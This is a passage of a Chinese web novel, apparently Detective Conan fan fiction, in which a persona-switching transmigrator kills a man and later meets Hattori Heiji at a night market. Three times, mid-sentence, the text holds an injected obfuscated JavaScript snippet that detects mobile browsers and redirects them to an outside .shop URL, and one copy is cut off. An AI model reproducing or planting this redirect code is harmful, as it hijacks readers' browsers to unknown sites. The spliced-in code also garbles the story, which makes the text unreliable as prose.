冰冷的触感透过绷带传来,那只手不大,甚至称得上纤细,但力道却大得惊人。乡思宗太郎的喉管被压迫,呼吸立刻变得困难起来。 他瞪大眼睛,看着近在咫尺的那张脸。 绷带缝隙里露出的黑色眼睛,此刻正平静地看着他,像是在看一件即将处理的垃圾。 开什么玩笑—— 乡思宗太郎的求生本能在这一刻彻底爆发。 他是从底层爬上来的,年轻时也跟人动过手,那股狠劲从来没真正消失过。他猛地抬起双手,死命扣住那只扼住自己脖子的手腕,同时膝盖狠狠顶向对方的腹部。 那一脚结结实实地踹中了。 绷带小学生的身体被这股力量撞得向后飞去,在半空中翻了个身,稳稳落在地板上。 他低头看了看自己的手,又看了看乡思宗太郎,脸上露出惊讶的表情。 “啊?”他说,语气里带着一丝困惑,“怎么没拼过?” 乡思宗太郎大口喘着气,手指摸向自己的脖子,那里还残留着冰冷的触感,但皮肤上没有伤口,只是有些发红。他不可置信地看着那个绷带小人,又低头看了看自己的手。 这是什么怪物般的力气? 这是哪里来的疯子? 这短暂的愣神只持续了一秒,下一秒,愤怒就彻底淹没了理智。 他猛地抓起放在床头柜上的手机,手指飞快地按下—— “你等着!我报警!你这个变态小畜生,等着进少管所吧!”他吼道,声音因为愤怒而颤抖,“私闯民宅,故意伤害——我让你这辈子都出不来!” 绷带小学生歪着头看着他,那双黑色的眼睛里闪过一丝奇怪的神色。 然后他举起了枪。 那是一把黑色的小型手枪,在月光下泛着冷硬的金属光泽。枪口很小,但黑洞洞的,正对着乡思宗太郎的眉心。 乡思宗太郎的手指僵在拨号键上。 或许是因为短暂的失神,他没能看清这把枪是怎么出现的。但他很清楚,面前小学生手上拿着的绝对是真枪,握持时的重量和外观上的质感,他绝对不会认错。 他的喉咙像是被什么东西堵住,刚才的怒吼全都卡在嗓子里。手指不受控制地松开,手机滑落在地板上,发出沉闷的响声。 “别、别冲动……”他举起双手,心里抱怨着晦气的同时格外真诚地开口,“冷静点,小鬼。你想要什么?我都可以满足。钱?我可以给你钱,要多少都行。或者你想做什么?我可以帮你。把那玩意儿放下,我们好好谈谈。” 他努力让自己的语气听起来冷静、理智、有诚意。 对面那个绷带小学生歪着头看着他,那双眼睛里闪着明晃晃的恶意。 “你不是收到消息了吗?”他说,语气带着点不清不楚的意味,“‘你的罪行会被警察知晓’之类的。” 乡思宗太郎的瞳孔微微收缩。 是那个邮件。 “十七起针对罪犯的连环杀人案听过没?”绷带小人继续说,语气里带着一丝感叹,“是我干的。” 乡思宗太郎盯着那张被绷带包裹了一只眼的脸,心里涌起一阵荒谬感。 十七起连环杀人案? 那个这几年闹得沸沸扬扬的“处刑人”? 媒体报道了两个月,警力花费投入上百人,至今连根毛都没摸到的,就是眼前这个小学生? 开什么玩笑。 他的理智在这一刻彻底压过了恐惧。 这不可能,绝对不可能。 一个身高不到一米四的小鬼,能杀十七个人? 那些死者里有好几个是极道组织的骨干,身高一米八以上的壮汉,被这个小鬼用手掐死? 吹成啥样了。 或者是那个极道组织派来的,故意用这个名头吓唬他。 乡思宗太郎脸上做出惊恐的表情,配合地点着头:“是是是,我知道了,我相信你。你放了我,我保证不会报警,保证配合你们的要求——” “看来你还是不信呢。”对面的小学生忽然笑了。 那笑容很浅,只是在绷带缝隙里微微弯起的眼睛,却让乡思宗太郎莫名地后背发凉。 “不过也无所谓了,因为我确实在说谎。”他说。 然后他扣动了扳机。 枪声在密闭的卧室里炸开,震耳欲聋。 乡思宗太郎只觉得胸口突然传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316651|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一阵剧痛,像是有什么东西从内部炸开。他低下头,看见自己的衬衫上出现并蔓延大量血迹,以及一个显而易见的伤口。 痛。 好痛。 那种痛不是皮肉伤口的痛,而是从身体最深处涌出来的、撕裂般的剧痛。 他张开嘴想叫,但叫不出声,双腿失去力气,身体软软地滑落,背靠着门框,瘫坐在地板上。 他从来没有哪一刻像这样清楚的意识到自己要死了。 这个念头涌上来的瞬间,求生的本能让他的手指不受控制地摸向掉在身边的手机。 他看不见屏幕,但凭着肌肉记忆,他打开了相机,点开了录像。 哪怕死,也要留下证据。 他要拍下那个小畜生的样子,让警察知道是谁杀的他。他要让那个小鬼付出代价,就算死了也要—— “你在录像吗?” 那个声音突然响起。 乡思宗太郎猛地抬起头,手指还死死攥着手机,用尽最后的力气将镜头对准着刚才绷带小学生站立的方向—— 然后他的瞳孔骤然收缩成针尖。 那个位置空荡荡的。 什么都没有。 不是移动,不是躲藏,不是借着视觉死角逃走,那个小畜生就在他眼前,一瞬间消失了。 像是投影仪失灵般消失了。 那块地板上,他刚才站立的位置,空无一物。 但声音还在。 “录像也拍不到我的。”那个过于年轻的声音从面前传来,带着一丝恶作剧得逞般的笑意,“你以为我是谁啊?” “而且当着我的面录像,我直接销毁不就行了?” “你是蠢货吗?” 乡思宗太郎的呼吸彻底停滞了。 他僵硬地低下头,看向手机的屏幕——屏幕里只有昂贵的家具,他的半截腿,以及地下蔓延的血迹。除此之外,什么都没有。 脑海里像是有东西在炸开。 是投影仪!是通过投影仪来引导他的走位!从而让窗外的狙击手成功狙击了他! 但就在这个想法形成的那一瞬间,他的余光捕捉到了什么。 窗户。 他的卧室窗户在他侧面。 如果子弹从窗外射进来的话,应该是从他的侧面击中他,而不是正面。 但刚才那一枪,他是正面中弹的。 而且他明明被扼住了喉咙,被那股怪力掐得几乎窒息。 他明明踹中了那个小畜生的腹部,反作用力现在还残留在他的膝盖上。 他明明听见了那个声音,直到现在都还在嘲笑他。 这些应该不是幻觉。 一瞬间,一个疯狂的念头突然涌进他的脑海,像是黑暗中骤然炸开的闪电。 超能力。 异能。 那些漫画小说里才存在的东西。 这个念头刚升起的瞬间,他体内所有的血管突然同时膨胀起来。 那种感觉无法用语言形容。血液像是被什么东西驱动着,从心脏里疯狂地泵出,涌向四肢百骸,震撼着全身每一根汗毛。 乡思宗太郎张开嘴,终于发出了一声嘶哑的惨叫。他的身体剧烈抽搐,手指死死抓着地板,指甲都翻了起来。 开什么玩笑! 开什么玩笑!!! 那个怪物——到底是什么东西?! 十七起连环杀人案——那些人都是这样死的吗?都是被这种无法理解的力量杀死的吗?——难怪警方查不出来,难怪媒体说这是“完美的犯罪”——这根本就不是人能查出来的东西! 他是超能力者?! 还是妖怪?! 还是—— 乡思宗太郎的意识开始模糊。他能感觉到生命正从身体里飞速流逝,瞳孔已经开始涣散。 而他涣散的视线中,倒映着凭空飘起的手机,以及从其中被取出的内存卡。那张小小的卡片在半空中断成两截,被一只看不见的手从窗外扔了出去。 21.解锁新马甲 夜神透对于拼刀没拼过这件事是心都凉了半截的,那一瞬间他都以为自己要交代在这儿了,不过幸好对面反应慢,加上系统背包里还有一把只有一发子弹的枪,硬是把这么劣势的局面给掰回来了。 临走之前,他没忘记把录着自己声音的手机和内存卡掰成两半,顺手扔到了窗外。 接着开着隐匿离开了死亡现场,一路潜行回到了酒店。刚踏进房间,估计是远在另一边的乡思宗太郎终于咽下了最后一口气,久违的系统提示音终于响起。 【新马甲解锁成功!身份确认:导演。】 话音刚落,系统“嗯?”了一声,似乎对于这么快又见到夜神信这件事还挺震惊的。 也是,除了穿越之初那次,第一次见面和第二次见面隔了四年,第三次见面隔了将近三个月,而这次居然不满一周。 频率越来越高的见面次数让系统成功记住了夜神信,现在也显然想起了夜神信是谁,没再说多余的话,老老实实介绍起新马甲:【导演啊……应该算是个很有钱的工作吧?比起你前三个身份应该算比较好的了——话说这是不是个神秘客来着?我看你权限上好像解锁了托管和精分模式,需要我帮你开启吗?】 终于拿到了心心念念的神秘客身份,夜神信却没有想象中那么高兴。他皱着眉,语气里带着几分嫌弃:“为什么会是他。” 中立阵营里最强的,也是最难缠的家伙。 但系统显然没懂夜神信那点微妙的不爽,误以为他对新身份不满意,于是安慰道:【别嫌弃嘛,导演也挺好的啊,有钱有地位,总比当杀手东躲西藏强——】 这番话反倒让夜神信起了疑心,他打断道:“话说,有件事我很早之前就想问了,你是不是根本就查看不了马甲的具体信息?我的马甲也不是你给的吧?” 系统尴尬地顿了顿:【一直都是这样啊……之前你一直以为马甲名字是我瞎起的,但其实我也没有取名权限,你们马甲型的保密工作一直做得挺好的,我就能看到个外貌身高体重啥的。】 夜神信叹了口气,直接戳穿:“你以前没带过其他马甲型穿越者吧?” 系统的语气更尴尬了:【其实……你是我带过的第一个马甲型。我对马甲型的了解都是听别的系统吹牛时说的。任务型我带过几个,但情况跟你完全不一样,好像也没什么参考价值。】 夜神信:“……” 合着您老是因为不知道怎么带,所以才不爱跟我见面啊。 他无奈地揉了揉眉心:“那系统托管和精分有什么区别?” 系统仿佛终于找到了自己擅长的话题,语气都活泼了几分:【AI你用过的吧?就是给他设定好性格指令,他就会按照那个性格跟你对话,系统托管就是这样。精分模式就不用设置,相当于把你的意识分一缕过去操控,不会对你本体造成什么影响。】 夜神信果断道:“那就精分吧。” 输入指令AI托管什么的,听起来就不怎么靠谱。 【好的好的,已为你开启精分模式——】系统的声音突然一顿,【啊等等,我带的一个刷怒气值的穿越者好像快被琴酒毙了,我先走了啊!有事再叫我!】 话音未落,那种若有若无的联系就彻底消失了。 夜神信:“……” 琴酒?怒气值? 谁有胆子刷琴酒的怒气值啊? 他所有马甲中,胆子最大的神偷遇见琴酒都得掂量掂量自己说话的分寸吧? 究竟是哪个倒霉蛋要刷这样不幸的作死值啊。 这样想着,感叹自己居然还算是好运的夜神信开始仔细查看系统面板。 他把导演的身份信息和外在特质全部检查了一遍后,若有所思地摸了摸下巴。 然后走到电脑桌前,坐下,打开电脑,搜索导演的名字——“奥斯卡·道林”。 屏幕上很快跳出一长串信息。 四年前突然冒出来的新锐导演,三十二岁,美国人,在悬疑片领域很有名气,作品主角清一色是侦探角色,据说本人很低调,从不在公众场合露面。 夜神信滑动鼠标,扫过几条影评——全是好评,偶尔有人吐槽主角人设重复,但都被粉丝怼了回去。 看来这个马甲经营得不错,虽然粉丝群体看起来有些魔怔,但由于本人没有暴雷,作品中也没有夹带私货,导致也没有什么黑粉,看起来倒是风光无量。 大致浏览完导演在网上公开的身份信息,夜神信这才注意到邮箱里有个红点。 是朗姆发来的邮件,内容很简短:任务终止,尽快回东京。 夜神信:“……” 这时候夜神信才想起来阴谋家这个身份其实还挺忙的。 再加上朗姆让他回东京,说不定又要派新任务。 夜神信揉了揉太阳穴,做出了一个很他认为很明智的决定:既然有了精分,那干嘛还亲自去忙? 半点委屈都受不得的夜神信果断点开马甲面板,投放并切换神偷。 之所以为什么选择神偷……他没当过导演,但用脚想都知道导演不会很闲,也不想去治安官身体里打工,所以就选了个最闲的小学生。 …… 夜神透睁开眼睛的时候,扑面而来的是烤章鱼丸的油烟味和嘈杂的人声,以及有些过于低的视线 夜神透在心里叹了口气。虽然早就习惯了在不同马甲之间切换,但每次切换到这个小学生的身体时,那种身高骤降一米多的落差感还是需要几秒钟来适应。 他环顾四周。 挂满灯的夜市街道,人来人往,大多是成双成对的情侣或者拖家带口的家庭。烤串的摊位前排着队,捞金鱼的摊子前围着几个小孩子,远处传来射击摊上□□砰砰的响声。 他低头看了看自己。 黑色斗篷,缠满绷带的身体,遮住半边脸的刘海,还有那只用绷带缠着的左眼。 很好,还是这身中二病的穿搭。 周围已经有人在用奇怪的眼神看他了。一个牵着小孩的妈妈经过时,下意识地把孩子往另一边拉了拉。几个中学生指着他在窃窃私语,表情似笑非笑。 夜神透面无表情地往前走。 看什么看,万圣节的时候没见过绷带人吗? 然后他感觉到一只手抓住了自己的手腕。 “小弟弟,一个人吗?” 夜神透抬起头。一个男人正低头看着他,脸上挂着过于热情的笑容。 男人身边还站着另一个瘦高个,眼神在他身上扫来扫去,那目光让夜神透本能地警觉起来。 他下意识抽了抽自己的手,想把自己的手抽回来,但是却没成功,于是特别不满地说了一句:“放手。” “哦?迷路了?”男人笑得更热情了,手上的力道却收紧了些,“叔叔带你去买冰淇淋好不好?马上就可以找到你的爸爸妈妈了。” 我去你的! 夜神透在心里给这两个人贴上了“去死”标签。 他悄悄活动了一下手指。虽然是十一岁的身体,但神偷这个马甲自带的技能还在。只要给他一瞬间的机会,他能让这两个人在众目睽睽下死掉。 但如果当众动手,事后也不好脱身。 算了,要不干脆跟着他们走,等到了没人的地方再动手。反正以他的身手,这两个人贩子翻不出什么浪花。 “喂,你们在干什么?” 一道清亮的少年音从斜后方传来。 男人的动作僵了僵。 夜神透顺着声音看过去。一个皮肤黝黑的少年正站在几步开外,双手插在口袋里,鸭舌帽压得很低,但那双眼睛正锐利地盯着这边。看起来也就十五六岁的样子,身形高挑,站姿却带着一种同龄人少有的沉稳。 “关你什么事?”瘦高个皱眉,“小孩别多管闲事。” “闲事?”昨天才解决完酒店杀人案的服部平次歪了歪头,嘴角勾起一个没什么温度的笑容,“这个不是什么闲事吧?” 他往前走了一步。 男人的脸色变了变,似乎在权衡什么。 “别动。”少年的声音依然轻松,但眼神已经彻底冷了下来,“你口袋里装着什么,要我大声说出来吗?” 瘦高个的脸白了。 僵持了两秒,男人松开了夜神透的手腕,扯出一个僵硬的笑:“误会,都是误会。我们就是看这孩子一个人,想问问需不需要帮忙。” “现在不用了。”少年说。 两个男人对视一眼,骂骂咧咧地转身消失在了人群中。 夜神透站在原地,揉了揉被攥红的手腕,抬起头看向那个救了自己的少年。 少年也正低头看着他,眉头皱着,语气不太客气:“喂,小鬼,你一个人在这种地方干什么?” 夜神透没说话。 他在心里迅速检索着这张脸。 这不是昨天的那家伙吗? 竟然在这里遇上了。 见他不吭声,服部平次的眉头皱得更紧了。他蹲下身,视线与夜神透平齐,语气放缓了些:“喂,吓傻了?你家大人呢?” 夜神透眨了眨眼睛,很恩将仇报地说:“关你什么事?” “……?” 服部平次愣了一下,随即眉毛挑得更高了。 放在平时他肯定会教训一下这个没礼貌的小鬼,不过他现在没心情跟小孩斗嘴——就在刚才,他已经悄悄报了警。 开什么玩笑,碰见人贩子还不报警简直是脑子有问题。 更何况这两个人鬼鬼祟祟的,口袋里鼓鼓囊囊,说不定还藏着别的东西。 于是他又重新问:“和你家大人走丢了?还是离家出走?” “……” 夜神透没回答,只是用那唯一一只眼睛看着服部平次。 服部平次被他看得有些莫名,但也没多想。他站起身,左右看了看,然后低头说:“走吧,我送你去警察局。夜市这边应该有派出所,让他们帮你找家人。” 警察局? 夜神透在心里翻了个白眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17325152|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以他现在这个身份,进了警察局就是自投罗网——虽然没有案底,但也是个小黑户,万一被送进孤儿院可不好了。 “我不去。”他说。 服部平次一愣:“哈?” “我不去警察局。”夜神透重复了一遍,语气很差。 服部平次盯着他看了几秒,突然笑了。 “小鬼,你很可疑啊。” 服部平次托着下巴,眼神里带着探究,“一般小孩遇到这种事早就哭着喊妈妈了,你倒好,既不害怕也不配合。” 他思考了一下,直接说:“你是不是有什么不能去警察局的理由?” 夜神透沉默。 他这才后知后觉地想起来,十一岁的小孩子,面对差点被拐卖的情况,不应该这么镇定。 大意了。 但服部平次没有继续追问。他只是站起身,拍了拍膝盖上并不存在的灰,用一种不容商量的语气说:“行吧,不去警察局也行。那你告诉我,你家在哪里?或者你家里人的联系方式?” “……” “不说话?”服部平次挑眉,“那就只能去警察局了。” 他说着,作势要来拉夜神透的手。 “我找哥哥。”夜神透终于开口。 服部平次动作一顿:“哥哥?” “嗯。”夜神透面不改色地扯谎,“我哥哥就在附近,我是来找他的。” 服部平次看着他,眼神里明明白白写着“你觉得我会信吗”几个大字。 “小鬼,”他叹了口气,“你知道你刚才那句话有多少漏洞吗?第一,你说你来找哥哥,但你连他在哪个位置都不知道;第二,你一个人跑出来找哥哥,你父母能放心?第三——” “你也没大到哪里去。”夜神透打断他。 服部平次的话卡在喉咙里:“……什么?” “你也没比我大几岁。”夜神透仰着头看着他,语气平淡,“十五?十六?一个人在这种地方乱逛,还管别人的闲事。你家里人放心吗?” 服部平次愣了几秒,然后“噗”地笑出了声。 “喂喂,小鬼,你这是在威胁我吗?”他笑着揉了揉夜神透的头发,力道不轻不重,“行行行,算你说得对,我确实也没大到哪里去。” 他收回手,双手插回口袋里,歪着头看着夜神透:“不过啊,小鬼,一个人在外面乱跑是很危险的。刚才那两个可不是什么好人,要不是我正好路过,你知道会有什么后果吗?” 夜神透没说话。 我当然知道会有什么后果——他们会死得很惨。 只不过这话没法说出口。 “所以,”服部平次顿了顿,“既然你说哥哥就在附近,那我陪你去找他。找到了我就走,找不到的话——还是得去警察局。” 服部平次这样说着,心里却不这样想。 他已经报了警,所以不建议先陪这个小孩演一会儿。 没错,他在那个小孩开口的一瞬间就已经判断出了他在说谎,但是也不打算拆穿。 毕竟这小鬼头看起来还挺倔的,看起来像离家出走,知道他报警后估计会偷偷跑掉。 而夜神透看着他,只觉得有点麻烦。 这个人不会是认真的吧? 他打算陪着一个陌生的小孩在夜市里找人,直到确认这个小孩安全为止? 关西的初中生都这么爱管闲事吗。 夜神透垂下眼,特别不情愿地说:“……好。” 服部平次露出一个满意的笑容,伸手在他脑袋上又揉了一把:“走吧,小鬼。你哥哥长什么样?在哪个地方?” “关你什么事。” “哈?” “我不知道他在哪个地方。”又一不小心怼了服部平次的夜神透丝毫没有道歉的意思,“我只知道他在附近。” 服部平次的表情变得微妙起来:“你该不会是在耍我吧?” 夜神透抬起头,用一双黑白分明的大眼睛看着他,面不改色地撒谎:“没有。” 对视五秒。 服部平次败下阵来,无奈地叹了口气:“行行行,算我服了你了。那咱们就慢慢找,把整个夜市逛一遍总行了吧?” 他说着,朝夜神透伸出手:“牵好,别走散了。” 夜神透看着那只伸过来的手,犹豫了一秒,还是把手放了上去,跟着服部平次走进人群里。 麻烦了。 他在心里默默地想。 得想个办法,在不暴露身份的情况下,从这个热心的大阪初中生身边脱身才行。 前方,服部平次已经开始兴致勃勃地打量起周围的摊位,时不时回头看一眼身后的小尾巴,确保他没有跟丢。 “喂,小鬼,饿不饿?要不要先吃点东西?” “……不用。” “客气什么,我请客。老板,来两份章鱼烧!” “……” 这家伙的日元和时间就这么不值钱吗!不要做出带着可疑的陌生小孩逛夜市这种事啊! 22.侦探 夜神透咬了一口章鱼烧,嚼了嚼,然后面无表情地看着前方那个一边走一边四处张望的背影。 服部平次此刻的状态,用“兴致勃勃”来形容都有点保守了。他简直像是在玩什么游戏,每看到一个独自站在路边的男人就要凑上去打量两眼,给人家看得莫名其妙——有个大叔甚至下意识捂住了自己的钱包。 “喂,那个是不是你哥?”服部平次突然指着前面一个正在买烤鱿鱼的高中生。 夜神透瞥了一眼:“不是。” “那个呢?” “不是。” “那边那个戴帽子的?” “不是。” “那边那个穿白T恤的?” “……你眼里是不是所有男的都可能是我哥?” 服部平次回头看他,一脸理所当然:“不然呢?你又不说你哥长什么样,我只能广撒网啊。” 夜神透沉默一下,简单说道:“他长得比我高。” 服部平次沉默了两秒:“……这不是废话吗?谁不比你高?” 夜神透抬起头,用那只露在外面的眼睛看着他,语气平静:“你十岁的时候多高?” 服部平次噎住了。 他仔细回想了一下自己十岁时的身高,好像确实……也没比这个小鬼高多少。 不对,他十岁的时候应该已经挺高了吧? 等等,好像也不太确定……十岁那年他跳起来好像还够不到教室的黑板顶端? “咳,”他清了清嗓子,决定跳过这个话题,“除了比你高之外呢?还有什么特征?” “没了。” “没了?就这?” “嗯。” 服部平次低头看着夜神透,眼神里写满了“你觉得我很好骗是吗”。 夜神透坦然回视,眼神里写满了“我就是觉得你很好骗”。 对视三秒。 服部平次再次败下阵来。 “行行行,”他揉了揉太阳穴,“那就慢慢逛吧。反正这里就这大,总能碰到的——除非你哥哥是隐形人。” 夜神透:“……” 会隐身的神偷选择无视了服部平次的话,默默咬了一口章鱼烧。 “话说回来,”服部平次突然凑近,盯着他的脸,“你眼睛上的绷带是真的受伤了还是装饰?” 夜神透面无表情地回视:“你猜。” “我猜是装饰。”服部平次摸着下巴,一副名侦探附体的样子,“如果是真的受伤,你这么小的孩子应该在医院躺着,不可能一个人跑出来。而且绷带缠得不像是医院的手法,过于美观了。” 夜神透:“……” 猜得挺准。 “你怎么会对绷带的包扎方式这么有研究?你经常受伤?” 服部平次一噎:“……我这是推理。” “哦。”夜神透继续吃章鱼烧,“那你推理一下我哥现在在哪儿。” 服部平次的表情瞬间垮了。 这个小鬼,就不能对他这个救命恩人有点感激之情吗? 怎么全程一副“你谁啊别烦我”的表情。 太失礼了啊!稍微给我有点家教啊! 这样想着,服部平次也没去找不痛快,继续往前走,一边走一边在心里默默盘算。 首先,这小鬼肯定不是普通小孩,普通小孩遇到人贩子早就吓得腿软了,他反倒挺配合。 要不是自己及时出现,说不定那两个倒霉蛋会出什么事——虽然说不清为什么会有这种感觉,但服部平次的直觉一向很准。 其次,他绝对没有哥哥在附近。 毕竟,当自己问起他哥哥的特征时,他的回答其实跟拒绝回答没啥区别了。 而且逛了这么久,他完全没有寻找的意思,全程就跟在自己身后吃章鱼烧,偶尔抬头看看摊位,但从不主动张望。 所以结论是,哥哥是假的,不想去警察局是真的。 那么问题来了,一个十一二岁的小孩,为什么这么抗拒警察局? 服部平次的大脑开始高速运转,很快思考出了几个可能性。 首先就是离家出走,毕竟他这身打扮就不像正常人家的孩子,说不定是跟家里人闹矛盾跑出来的。 其次就是流浪儿童,但这个可能性不大,他的衣服虽然中二但很干净,身上也没有流浪儿童的邋遢感。 最后就是做过什么坏事怕被警察抓。 这个想法一冒出来,服部平次自己都觉得好笑。 一个十一岁的小孩能做什么坏事?偷东西?打架? 但他转念一想,自己十一岁的时候已经在跟着老爸学剑道顺便破了一些小案子了。人不可貌相,说不定这小鬼也有什么不可告人的秘密。 正想着,身后传来一声轻微的“嗝”。 服部平次回头,看见夜神透正盯着空了的章鱼烧盒子发呆,脸上难得出现了一丝茫然。 “吃完了?”他问。 夜神透抬头看他,点了点头。 “饱了没?” 夜神透犹豫了一下,诚实地摇了摇头。 章鱼烧就那么几个,对于一个正在长身体的小孩来说,顶多算个开胃菜。 服部平次笑了:“那再吃点别的。那边有炒面,吃不吃?” 夜神透看着他,忽然问:“你钱很多吗?” “还行吧。”服部平次随口答道,“我爸给的零花钱不少,我自己偶尔也帮人破案赚点外快。” 夜神透眼神微妙起来:“你?破案?” “喂喂,你那是什么眼神?”服部平次不满地挑眉,“我好歹也是关西有名的初中生侦探好吗——” 他说到这里突然停住了。 等等,他跟一个小孩说这些干嘛?对方又听不懂。 但夜神透听懂了。 不,比起说是听懂了,到不如说是提取到了关键词。 什么初中生侦探? 侦探? 侦探! 夜神透像是见了鬼一样后退了好几步,不可思议地盯着面前的人。 这家伙竟然是侦探? 服部平次被他这突如其来的反应吓了一跳:“喂,你怎么了?” 夜神透迅速调整表情,面无表情地走回来:“没什么。” “没什么你退那么远干嘛?” “你踩到章鱼烧盒子了。” 服部平次低头一看,自己脚下确实有个空盒子——但不是他踩的,是风吹过来的。 他抬头想反驳,却发现夜神透已经恢复了那副生人勿近的表情,仿佛刚才的异常反应从未发生过。 “炒面还吃不吃?”夜神透转移话题。 “吃吃吃,”服部平次回过神,“走吧,那边就有个炒面摊,老板我认识,可以多加份量。” 两人来到炒面摊前,服部平次要了两份,然后找了个空的长椅坐下来。 夜市的人流依然熙熙攘攘,远处传来射击摊的□□声和捞金鱼摊的欢笑声。夜神透坐在长椅上,两条腿悬在空中晃来晃去,吃着面前热气腾腾的炒面。 “喂,小鬼,”服部平次一边吃一边问,“你叫什么名字?” 夜神透动作一顿。 “……透。”他说。 “透?”服部平次咀嚼着这个名字,“姓什么?” “不告诉你。” 服部平次被噎了一下,但很快接受了这个设定。行吧,不告诉就不告诉,反正一个名字而已。 “那你家在哪?” “不告诉你。” “你爸妈呢?” “不告诉你。” “你为什么要跑出来?” “不告诉你。” “小鬼,”他蹲下身,表情严肃,“你知不知道,有时候太调皮的小孩是会被打的?” 夜神透眨了眨眼睛:“你要打我吗?” 服部平次:“……” 他放下筷子,一脸无奈地看着他:“那你告诉我什么?” 夜神透认真地想了想:“炒面挺好吃的。” 服部平次:“……” 他深吸一口气,告诉自己不要跟小孩一般见识。 他跟着自己父亲这么多年,见过嘴硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜神透完全不觉得小孩知道这个有什么奇怪的,但并不妨碍他选择撒谎:“电视里学的。” “电视里还会教警察的电话开头?” “刑侦剧里会演。” 服部平次眯起眼睛,盯着他看了三秒,然后选择放弃。 “行,刑侦剧。”他敷衍道,按下接听键,“喂,您好……对,是我报的警……嗯,在天神祭夜市这边……好的,我等他。” 挂断电话后,他看着夜神透:“警察十分钟后到。在这十分钟里,你要不要考虑告诉我实话?” 夜神透沉默了一会儿,然后抬起头,用那只露在外面的眼睛认真地看着他:“如果我告诉你实话,你会信吗?” “说来听听。” “我是来找我哥的,他真的比我高,他真的在这附近,我不想见警察是因为我哥是通缉犯。” 服部平次:“……” 他深吸一口气,又缓缓吐出。 “小鬼,你觉得我看起来像是三岁小孩吗?” 夜神透叹了口气,那表情活像一个面对顽固学生的老师:“你看,我说实话你又不信。” “你哥要是通缉犯,你早就被警察带走了好吗?而且通缉犯会带着弟弟来逛夜市?” “他说要给我买章鱼烧。” 服部平次扶额。他发现自己和这个小鬼对话,智商在以肉眼可见的速度下降。 “行行行,你哥是通缉犯,你哥给你买章鱼烧,你哥现在在哪儿?” 夜神透四处张望了一下,然后指着一个方向:“那里。” 服部平次顺着他手指的方向看去——那里只有一个卖面具的摊位,摊主是个戴着狐狸面具的大叔,正在招呼客人。 “那个戴面具的?” “不是。” “那你指什么?” “我随便指的。” 服部平次感觉自己的太阳穴在跳。他决定放弃和这个小鬼斗嘴,等警察来了再说。 23.密探、阴谋家 五分钟后,四名身着制服的警察从夜市入口快步走来。为首的是一个三十出头、目光锐利的男人,身后跟着三名年轻警员。他们腰间别着对讲机,神情严肃,与夜市轻松的氛围格格不入。 “是服部君吗?”为首的警察快步上前,出示了证件,“我是南警察署的山田,接到你的报警电话——说发现人贩子?” 服部平次点点头,指着一个方向:“对,大概半小时前,就在那边的巷子口。两个人,三十岁左右,一个光头一个戴鸭舌帽,想带走这个小鬼。我出手阻止后,他们往东边跑了。” 山田警官立刻转身,对身后的三名警员下达指令:“木下、佐藤,你们去东边路口排查,调取周边监控,查一下半小时前有没有可疑人员离开。高桥,你去问一下附近摊主,看看有没有人注意到那两个嫌疑人。” “是!”三名警员迅速散开,消失在人群中。 交代完后,山田警官才把目光转向服部平次身边的夜神透,蹲下身,尽量用温和的语气问:“小朋友,你叫什么名字?有没有受伤?” 夜神透看着面前的警察,沉默了一会儿。 然后,他面无表情地说:“我叫透,我没有受伤。” “那就好。”山田警官松了口气,职业习惯让他继续追问,“那两个坏人有没有对你做什么?比如有没有碰你哪里,或者跟你说过什么奇怪的话?” “没有。”夜神透顿了顿,瞥了服部平次一眼,“这个大哥哥及时出现了。” 服部平次听到这话,心里莫名有点小得意——这小鬼终于说了一句人话。 但他还没得意完,就听见夜神透继续说:“虽然他推理一个没对,但吓唬人的技能还行。” 服部平次:“……” 山田警官的嘴角明显抽搐了一下,但职业素养让他忍住了笑。他清了清嗓子,继续问:“透君,你知道爸爸妈妈的电话吗?我们帮你联系家人。” 夜神透看了他一眼,语气平静:“我是来找我哥的。” “你哥?”山田警官眼睛一亮,“他在附近吗?长什么样?我们可以帮你找他。” 夜神透想了想:“他比我高。” 山田警官等了半天,发现没有下文了:“……还有呢?” “他长得很帅。” 警察们:“……” 服部平次忍不住插嘴:“我刚才问的时候他就这套词,问了一晚上了。” 山田警官站起身,低声对服部平次说:“这孩子是不是受到惊吓了?怎么问什么都答不上来?” 服部平次耸耸肩:“我觉得他清醒得很,就是不想说。” 就在这时,对讲机里传来声音:“山田队长,东边路口监控显示,半小时前确实有两个男子匆忙离开,特征与描述相符。他们上了一辆白色面包车,车牌号是……” 山田警官立刻按住对讲机:“追查车辆去向,通知交通课协助!” “明白!” 夜神透安静地看着这高效率的一幕,内心默默感叹。 不愧是接到人贩子报警后的反应速度,警察这次居然没掉链子。 山田警官挂断对讲机,重新看向夜神透,蹲下身,换了个策略:“小朋友,你哥哥的电话你知道吗?或者家里的电话?我们得确保你安全到家。你放心,警察叔叔不是坏人,我们是来帮你的。” 夜神透沉默了一会儿,然后说:“我哥就在这附近。” 